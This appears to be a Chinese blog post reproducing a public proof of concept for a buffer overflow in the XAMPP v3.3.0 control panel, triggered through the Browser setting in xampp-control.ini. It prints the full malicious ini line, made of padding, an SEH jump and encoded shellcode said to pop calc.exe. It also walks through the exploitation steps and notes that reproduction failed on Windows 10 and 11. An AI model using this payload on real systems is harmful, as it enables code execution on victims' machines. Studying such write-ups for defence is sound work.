用途:
这段代码的主要目的是创建一个恶意的 “xampp-control.ini” 配置文件,其中包含精心构造的缓冲区溢出负载。这个配置文件将会被用于利用 XAMPP 应用程序中的漏洞。
漏洞利用原理:
这个漏洞利用的关键部分在 shellcode 变量中。其中包含了一个恶意的 shellcode,这个 shellcode 将在 XAMPP 的 “xampp-control.exe” 应用程序中执行,导致漏洞利用。
Shellcode 是一段二进制代码,通常用于利用漏洞来执行攻击者希望的操作,这里的 shellcode 非常复杂,目标可能是为了执行计算器(calc.exe)。
漏洞利用流程:
运行 poc.py 脚本,它将生成一个新的 “xampp-control.ini” 文件,其中包含了恶意 shellcode。
打开 “xampp-control.exe” 应用程序。
单击 Apache 服务前面的 “admin” 按钮,触发漏洞。
这将导致 XAMPP 应用程序执行恶意 shellcode,可能引发漏洞利用,例如在目标系统上启动计算器。
WIN 10复现过程:
根据POC中注释发现复现环境是win11,我尝试了使用win10进行复现并没有复现成功,运行POC后只要权限够基本可以将POC.py的中的内容写入目录文件下。
当应用程序读取 xampp-control.ini 文件并尝试处理 Browser 配置项时,如果它没有适当的输入验证和缓冲区边界检查,就会导致缓冲区溢出,使得这个 shellcode 可能被执行,从而导致漏洞利用。
Browser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYqCGQqXq$q-qPqÃqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqPPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42KxJo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrkmyKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHMLJaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA
相同溢出字节包括了shellcode
然后我启动了xampp随便起了个然后按admin按钮就可以弹出计算器,win10没有复现成功!而且把XAMPP闪退了,估计是POC并不适合WIN10环境导致异常闪退的!
关于xampp-control.ini
`.ini` 文件:POC写入的这个文件我还是好奇的,早期的XAMPP好像就有这个文件了,`xampp-control.ini` 文件的 `Browser` 配置项的作用是定义在 XAMPP 控制面板中单击服务管理按钮后打开的默认网络浏览器的路径。这允许用户通过点击服务按钮来快速访问相关的服务或信息,比如查看 Apache Web 服务器的状态。
`ini文件 Browser配置项` :在一些情况下,该 `Browser` 配置项可能会没有足够的输入验证和缓冲区边界检查,导致安全漏洞的产生:1. **不足的输入验证**:如果开发控制面板的程序员没有实施足够的输入验证,恶意用户可以在 `Browser` 配置项中输入任意字符,包括恶意数据。2. **缓冲区边界检查不足**:如果应用程序在处理 `Browser` 配置项时没有执行足够的缓冲区边界检查,攻击者可以提交异常大的数据,导致缓冲区溢出,覆盖了控制面板的内存区域。
win11复现过程:
可见POC新增目录文件后点击“admin”却发现连xampp-control都闪退了,加上我的这个系统是在微软官方下载的开发环境WIN11系统,还有POC中的第36行seh处理程序。
SEH(Structured Exception Handler)处理程序是一种用于处理Windows操作系统中发生的异常的机制。异常是指在程序执行过程中遇到的不寻常情况,如除零错误、内存访问冲突或无效操作等。SEH用于捕获和处理这些异常,以便程序可以优雅地处理,而不会导致崩溃或数据丢失。
SEH处理程序通常是一段代码,它被注册在程序的异常处理链中。当异常发生时,操作系统会查找该链,以确定如何处理异常。SEH处理程序有两个主要作用:
-
捕获异常:SEH处理程序充当异常的监视器,它可以捕获特定类型的异常。如果发生符合SEH处理程序的异常类型,SEH处理程序将被调用以处理异常。
-
处理异常:SEH处理程序是用于实际处理异常的代码。它可以执行各种操作,如日志记录异常、恢复状态、释放资源等。SEH处理程序通常以函数指针的形式注册到SEH链中。
SEH处理程序的一个重要特性是,它们可以被滞后执行,允许程序在发生异常后继续执行。这有助于提高程序的鲁棒性,因为程序可以捕获和处理异常而不致崩溃。
项目地址:
https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE